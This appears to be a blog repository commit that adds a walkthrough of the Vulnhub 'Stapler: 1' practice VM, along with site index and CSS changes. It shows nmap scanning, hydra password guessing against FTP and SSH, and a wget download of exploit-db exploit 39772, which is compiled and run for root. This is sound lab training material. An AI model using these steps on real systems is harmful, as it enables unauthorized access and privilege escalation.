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stapler: 1

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Paul Walko 2016-06-19 18:14:01 -04:00
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---
title: "Stapler: 1 Vulnhub Walkthrough"
layout: post
category: writeup
tags: [vulnhub, hacking]
excerpt: "Walkthrough for Stapler: 1 VM on Vulnhub"
---
# Figure out the IP
```
paul@archyoga [05:31:55] [~]
-> % nmap -sn 192.168.1.0/24
Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-19 17:32 EDT
.
.
.
Nmap scan report for red (192.168.1.135)
Host is up (0.0030s latency).
.
.
.
Nmap done: 256 IP addresses (16 hosts up) scanned in 3.59 seconds
```
Let's see what's there:
```
paul@archyoga [05:33:59] [~]
-> % nmap -Pn 192.168.1.135
Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-19 17:34 EDT
Nmap scan report for red (192.168.1.135)
Host is up (0.011s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
666/tcp open doom
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 4.86 seconds
```
# Login to ftp
```
paul@archyoga [05:34:57] [~]
-> % ftp
ftp> open 192.168.1.135
Connected to 192.168.1.135.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220
Name (192.168.1.135:paul): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 107 Jun 03 23:06 note
226 Directory send OK.
ftp> get note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 5.1e-05 seconds (2 Mbytes/s)
ftp> 221 Goodbye.
paul@archyoga [05:36:17] [~]
-> % cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
```
Turns out it is, and inside is a file named ```note``` which names an ftp user: ```elly```.
I used hydra to test some common passwords and that worked out:
```
paul@archyoga [05:39:21] [~]
-> % hydra -l elly -e nsr 92.168.1.135 ftp
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-19 17:39:36
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 3 tasks per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.1.135 login: elly password: ylle
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-06-19 17:39:50
```
Now we can login to ftp as elly using the password ```ylle```. On the ftp server there's a passwd file, so I can use that as a user list to test against:
```
paul@archyoga [05:42:07] [~]
-> % ftp
ftp> open 192.168.1.135
Connected to 192.168.1.135.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220
Name (192.168.1.135:paul): elly
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
.
.
.
-rw-r--r-- 1 0 0 2908 Jun 04 20:14 passwd
.
.
.
ftp> get passwd
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for passwd (2908 bytes).
226 Transfer complete.
2908 bytes received in 9.9e-05 seconds (28 Mbytes/s)
ftp> 221 Goodbye.
```
# Login over ssh & exploit
Using hydra again I discovered a login for ssh from the passwd file:
```
paul@archyoga [05:42:36] [~]
-> % awk -F':' '{ print $1}' passwd > users
-> % hydra -e nsr -L ./users 192.168.1.135 ssh
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-19 17:44:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 183 login tries (l:61/p:3), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.1.135 login: SHayslett password: SHayslett
```
Then once I determined the release I went over to [http://exploit-db.com](http://exploit-db.com) and searched "ubuntu 16.04" and found this: https://www.exploit-db.com/exploits/39772/
Now for the exploit:
```
paul@archyoga [05:50:44] [~]
-> % ssh SHayslett@192.168.1.135
-----------------------------------------------------------------
~ Barry, don't forget to put a message here ~
-----------------------------------------------------------------
SHayslett@192.168.1.135's password:
Welcome back!
SHayslett@red:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
SHayslett@red:~$ wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip
--2016-06-19 18:49:36-- https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip
Resolving github.com (github.com)... 192.30.252.130
Connecting to github.com (github.com)|192.30.252.130|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/39772.zip [following]
--2016-06-19 18:49:36-- https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/39772.zip
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 23.235.44.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|23.235.44.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7115 (6.9K) [application/zip]
Saving to: ‘39772.zip’
39772.zip 100%[=====================================================================================================================================================================================================>] 6.95K --.-KB/s in 0s
2016-06-19 18:49:37 (94.2 MB/s) - ‘39772.zip’ saved [7115/7115]
SHayslett@red:~/tmp$ wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/splo
--2016-06-19 18:52:05-- https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploi
Resolving github.com (github.com)... 192.30.252.128
Connecting to github.com (github.com)|192.30.252.128|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/3
--2016-06-19 18:52:05-- https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/m
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 23.235.46.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|23.235.46.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7115 (6.9K) [application/zip]
Saving to: ‘39772.zip’
39772.zip 100%[=======================
2016-06-19 18:52:05 (4.75 MB/s) - ‘39772.zip’ saved [7115/7115]
SHayslett@red:~/tmp$ unzip *
Archive: 39772.zip
creating: 39772/
.
.
.
SHayslett@red:~/tmp$ cd *2
SHayslett@red:~/tmp/39772$ ls
crasher.tar exploit.tar
SHayslett@red:~/tmp/39772$ tar xf exploit.tar
SHayslett@red:~/tmp/39772$ ls
crasher.tar ebpf_mapfd_doubleput_exploit exploit.tar
SHayslett@red:~/tmp/39772$ cd e*
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput.c hello.c suidhelper.c
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
doubleput.c: In function ‘make_setuid’:
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
^
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput doubleput.c hello hello.c suidhelper suidhelper.c
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /root
SHayslett@red:~/tmp/39772$ cd e*
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput.c hello.c suidhelper.c
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
doubleput.c: In function ‘make_setuid’:
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
^
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput doubleput.c hello hello.c suidhelper suidhelper.c
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit#
```
This part might be a little hard to read, but all I did was follow the instructions from the exploit page pretty much word for word: https://www.exploit-db.com/exploits/39772/.
Next, the flag!
```
root@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /root
root@red:/root# ls
fix-wordpress.sh flag.txt issue python.sh wordpress.sql
root@red:/root# cat flag.txt
~~~~~~~~~~<(Congratulations)>~~~~~~~~~~
.-'''''-.
|'-----'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-O o `"-.o O )_,._ | |
( o O o )--.-"`O o"-.`'-----'`
'--------' ( o O o)
`----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b
```
Woo!

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@ -122,7 +122,7 @@
<li class="current" data-show="writeup"> <li class="current" data-show="writeup">
<a href="javascript:void(0)"> <a href="javascript:void(0)">
writeup writeup
<span class="cateCnt">1</span> <span class="cateCnt">2</span>
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</li> </li>
@ -152,6 +152,35 @@
<article class="row">
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<p class="category">writeup</p>
</div>
<div class="col-lg-10 col-md-10 col-sm-10">
<h2 class="title"><a href="/writeup/stapler_walkthough">Stapler: 1 Vulnhub Walkthrough</a></h2>
<ul class="tags">
<li><i class="fa fa-tag"> vulnhub</i></li>
<li><i class="fa fa-tag"> hacking</i></li>
</ul>
<br>
<hr class="clearfix">
<p class="excerpt">
Walkthrough for Stapler: 1 VM on Vulnhub
</p>
</div>
<button class="continue"><a href="/writeup/stapler_walkthough">FULL ARTICLE</a></button>
</article>
<article class="row"> <article class="row">
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<p class="day">14</p> <p class="day">14</p>

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@ -120,6 +120,32 @@
<article class="row">
<div class="date col-lg-2 col-md-2 col-sm-2">
<p class="day">19</p>
<p class="month">Jun/2016</p>
<p class="category">writeup</p>
</div>
<div class="col-lg-10 col-md-10 col-sm-10">
<h2 class="title"><a href="/writeup/stapler_walkthough">Stapler: 1 Vulnhub Walkthrough</a></h2>
<ul class="tags">
<li><i class="fa fa-tag"> vulnhub</i></li>
<li><i class="fa fa-tag"> hacking</i></li>
</ul>
<br>
<hr class="clearfix">
<p class="excerpt">
Walkthrough for Stapler: 1 VM on Vulnhub
</p>
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<button class="continue"><a href="/writeup/stapler_walkthough">FULL ARTICLE</a></button>
</article>
<article class="row"> <article class="row">
<div class="date col-lg-2 col-md-2 col-sm-2"> <div class="date col-lg-2 col-md-2 col-sm-2">
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http://paul.walko.org//writeup/stapler_walkthough
http://paul.walko.org//writeup/nebula_exploit_exercises http://paul.walko.org//writeup/nebula_exploit_exercises

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http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"> http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
<url>
<loc>http://paul.walko.org//writeup/stapler_walkthough</loc>
<lastmod>2016-06-19T18:13:08-04:00</lastmod>
<changefreq>weekly</changefreq>
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<i class="fa fa-tag"></i> <i class="fa fa-tag"></i>
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<span class="tagCnt">2</span>
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vulnhub
<span class="tagCnt">1</span> <span class="tagCnt">1</span>
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@ -303,6 +312,35 @@
<article class="row">
<div class="date col-lg-2 col-md-2 col-sm-2">
<p class="day">19</p>
<p class="month">Jun/2016</p>
<p class="category">writeup</p>
</div>
<div class="col-lg-10 col-md-10 col-sm-10">
<h2 class="title"><a href="/writeup/stapler_walkthough">Stapler: 1 Vulnhub Walkthrough</a></h2>
<ul class="tags">
<li><i class="fa fa-tag"> vulnhub</i></li>
<li><i class="fa fa-tag"> hacking</i></li>
</ul>
<br>
<hr class="clearfix">
<p class="excerpt">
Walkthrough for Stapler: 1 VM on Vulnhub
</p>
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<button class="continue"><a href="/writeup/stapler_walkthough">FULL ARTICLE</a></button>
</article>
<article class="row"> <article class="row">
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<p class="day">14</p> <p class="day">14</p>
@ -336,6 +374,68 @@
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<p class="month">Jun/2016</p>
<p class="category">writeup</p>
</div>
<div class="col-lg-10 col-md-10 col-sm-10">
<h2 class="title"><a href="/writeup/stapler_walkthough">Stapler: 1 Vulnhub Walkthrough</a></h2>
<ul class="tags">
<li><i class="fa fa-tag"> vulnhub</i></li>
<li><i class="fa fa-tag"> hacking</i></li>
</ul>
<br>
<hr class="clearfix">
<p class="excerpt">
Walkthrough for Stapler: 1 VM on Vulnhub
</p>
</div>
<button class="continue"><a href="/writeup/stapler_walkthough">FULL ARTICLE</a></button>
</article>
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<p id="postTitle">Stapler: 1 Vulnhub Walkthrough</p>
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<li><i class="fa fa-tag"></i> vulnhub</li>
<li><i class="fa fa-tag"></i> hacking</li>
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<p id="postMeta">posted on 19 Jun 2016 under category <a href="http://localhost:4000/category/">writeup</a></p>
</header>
<h1 id="figure-out-the-ip">Figure out the IP</h1>
<div class="highlighter-rouge"><pre class="highlight"><code>paul@archyoga [05:31:55] [~]
-&gt; % nmap -sn 192.168.1.0/24
Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-19 17:32 EDT
.
.
.
Nmap scan report for red (192.168.1.135)
Host is up (0.0030s latency).
.
.
.
Nmap done: 256 IP addresses (16 hosts up) scanned in 3.59 seconds
</code></pre>
</div>
<p>Let’s see what’s there:</p>
<div class="highlighter-rouge"><pre class="highlight"><code>paul@archyoga [05:33:59] [~]
-&gt; % nmap -Pn 192.168.1.135
Starting Nmap 7.12 ( https://nmap.org ) at 2016-06-19 17:34 EDT
Nmap scan report for red (192.168.1.135)
Host is up (0.011s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
80/tcp open http
139/tcp open netbios-ssn
666/tcp open doom
3306/tcp open mysql
Nmap done: 1 IP address (1 host up) scanned in 4.86 seconds
</code></pre>
</div>
<h1 id="login-to-ftp">Login to ftp</h1>
<div class="highlighter-rouge"><pre class="highlight"><code>paul@archyoga [05:34:57] [~]
-&gt; % ftp
ftp&gt; open 192.168.1.135
Connected to 192.168.1.135.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220
Name (192.168.1.135:paul): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt; ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 107 Jun 03 23:06 note
226 Directory send OK.
ftp&gt; get note
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note (107 bytes).
226 Transfer complete.
107 bytes received in 5.1e-05 seconds (2 Mbytes/s)
ftp&gt; 221 Goodbye.
paul@archyoga [05:36:17] [~]
-&gt; % cat note
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
</code></pre>
</div>
<p>Turns out it is, and inside is a file named <code class="highlighter-rouge">note</code> which names an ftp user: <code class="highlighter-rouge">elly</code>.
I used hydra to test some common passwords and that worked out:</p>
<div class="highlighter-rouge"><pre class="highlight"><code>paul@archyoga [05:39:21] [~]
-&gt; % hydra -l elly -e nsr 92.168.1.135 ftp
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-19 17:39:36
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 3 tasks per 1 server, overall 64 tasks, 3 login tries (l:1/p:3), ~0 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: 192.168.1.135 login: elly password: ylle
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-06-19 17:39:50
</code></pre>
</div>
<p>Now we can login to ftp as elly using the password <code class="highlighter-rouge">ylle</code>. On the ftp server there’s a passwd file, so I can use that as a user list to test against:</p>
<div class="highlighter-rouge"><pre class="highlight"><code>paul@archyoga [05:42:07] [~]
-&gt; % ftp
ftp&gt; open 192.168.1.135
Connected to 192.168.1.135.
220-
220-|-----------------------------------------------------------------------------------------|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|-----------------------------------------------------------------------------------------|
220-
220
Name (192.168.1.135:paul): elly
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp&gt; ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
.
.
.
-rw-r--r-- 1 0 0 2908 Jun 04 20:14 passwd
.
.
.
ftp&gt; get passwd
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for passwd (2908 bytes).
226 Transfer complete.
2908 bytes received in 9.9e-05 seconds (28 Mbytes/s)
ftp&gt; 221 Goodbye.
</code></pre>
</div>
<h1 id="login-over-ssh--exploit">Login over ssh &amp; exploit</h1>
<p>Using hydra again I discovered a login for ssh from the passwd file:</p>
<div class="highlighter-rouge"><pre class="highlight"><code>paul@archyoga [05:42:36] [~]
-&gt; % awk -F':' '{ print $1}' passwd &gt; users
-&gt; % hydra -e nsr -L ./users 192.168.1.135 ssh
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2016-06-19 17:44:42
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 183 login tries (l:61/p:3), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: 192.168.1.135 login: SHayslett password: SHayslett
</code></pre>
</div>
<p>Then once I determined the release I went over to <a href="http://exploit-db.com">http://exploit-db.com</a> and searched “ubuntu 16.04” and found this: https://www.exploit-db.com/exploits/39772/</p>
<p>Now for the exploit:</p>
<div class="highlighter-rouge"><pre class="highlight"><code>paul@archyoga [05:50:44] [~]
-&gt; % ssh SHayslett@192.168.1.135
-----------------------------------------------------------------
~ Barry, don't forget to put a message here ~
-----------------------------------------------------------------
SHayslett@192.168.1.135's password:
Welcome back!
SHayslett@red:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
SHayslett@red:~$ wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip
--2016-06-19 18:49:36-- https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip
Resolving github.com (github.com)... 192.30.252.130
Connecting to github.com (github.com)|192.30.252.130|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/39772.zip [following]
--2016-06-19 18:49:36-- https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/39772.zip
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 23.235.44.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|23.235.44.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7115 (6.9K) [application/zip]
Saving to: ‘39772.zip’
39772.zip 100%[=====================================================================================================================================================================================================&gt;] 6.95K --.-KB/s in 0s
2016-06-19 18:49:37 (94.2 MB/s) - ‘39772.zip’ saved [7115/7115]
SHayslett@red:~/tmp$ wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/splo
--2016-06-19 18:52:05-- https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploi
Resolving github.com (github.com)... 192.30.252.128
Connecting to github.com (github.com)|192.30.252.128|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/master/sploits/3
--2016-06-19 18:52:05-- https://raw.githubusercontent.com/offensive-security/exploit-database-bin-sploits/m
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 23.235.46.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|23.235.46.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7115 (6.9K) [application/zip]
Saving to: ‘39772.zip’
39772.zip 100%[=======================
2016-06-19 18:52:05 (4.75 MB/s) - ‘39772.zip’ saved [7115/7115]
SHayslett@red:~/tmp$ unzip *
Archive: 39772.zip
creating: 39772/
.
.
.
SHayslett@red:~/tmp$ cd *2
SHayslett@red:~/tmp/39772$ ls
crasher.tar exploit.tar
SHayslett@red:~/tmp/39772$ tar xf exploit.tar
SHayslett@red:~/tmp/39772$ ls
crasher.tar ebpf_mapfd_doubleput_exploit exploit.tar
SHayslett@red:~/tmp/39772$ cd e*
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput.c hello.c suidhelper.c
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
doubleput.c: In function ‘make_setuid’:
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
^
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput doubleput.c hello hello.c suidhelper suidhelper.c
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in &lt;=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /root
SHayslett@red:~/tmp/39772$ cd e*
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput.c hello.c suidhelper.c
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./compile.sh
doubleput.c: In function ‘make_setuid’:
doubleput.c:91:13: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.insns = (__aligned_u64) insns,
^
doubleput.c:92:15: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
.license = (__aligned_u64)""
^
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ls
compile.sh doubleput doubleput.c hello hello.c suidhelper suidhelper.c
SHayslett@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in &lt;=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit#
</code></pre>
</div>
<p>This part might be a little hard to read, but all I did was follow the instructions from the exploit page pretty much word for word: https://www.exploit-db.com/exploits/39772/.</p>
<p>Next, the flag!</p>
<div class="highlighter-rouge"><pre class="highlight"><code>root@red:~/tmp/39772/ebpf_mapfd_doubleput_exploit# cd /root
root@red:/root# ls
fix-wordpress.sh flag.txt issue python.sh wordpress.sql
root@red:/root# cat flag.txt
~~~~~~~~~~&lt;(Congratulations)&gt;~~~~~~~~~~
.-'''''-.
|'-----'|
|-.....-|
| |
| |
_,._ | |
__.o` o`"-. | |
.-O o `"-.o O )_,._ | |
( o O o )--.-"`O o"-.`'-----'`
'--------' ( o O o)
`----------`
b6b545dc11b7a270f4bad23432190c75162c4a2b
</code></pre>
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<p id="postTitle">Test post; Please Ignore</p>
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<li><i class="fa fa-tag"></i> exploit-exercises</li>
<li><i class="fa fa-tag"></i> nebula</li>
<li><i class="fa fa-tag"></i> hacking</li>
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<p id="postMeta">posted on 26 Sep 2015 under category <a href="http://paul.walko.org/category/">writeup</a></p>
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<p>Really through, ignore this post.</p>
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1
stylesheets/base.css
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@ -211,6 +211,7 @@ pre,
samp { samp {
font-family: monospace, monospace; font-family: monospace, monospace;
font-size: 1em; font-size: 1em;
background-color:rgba(192,192,192,0.6);
} }
/* Forms /* Forms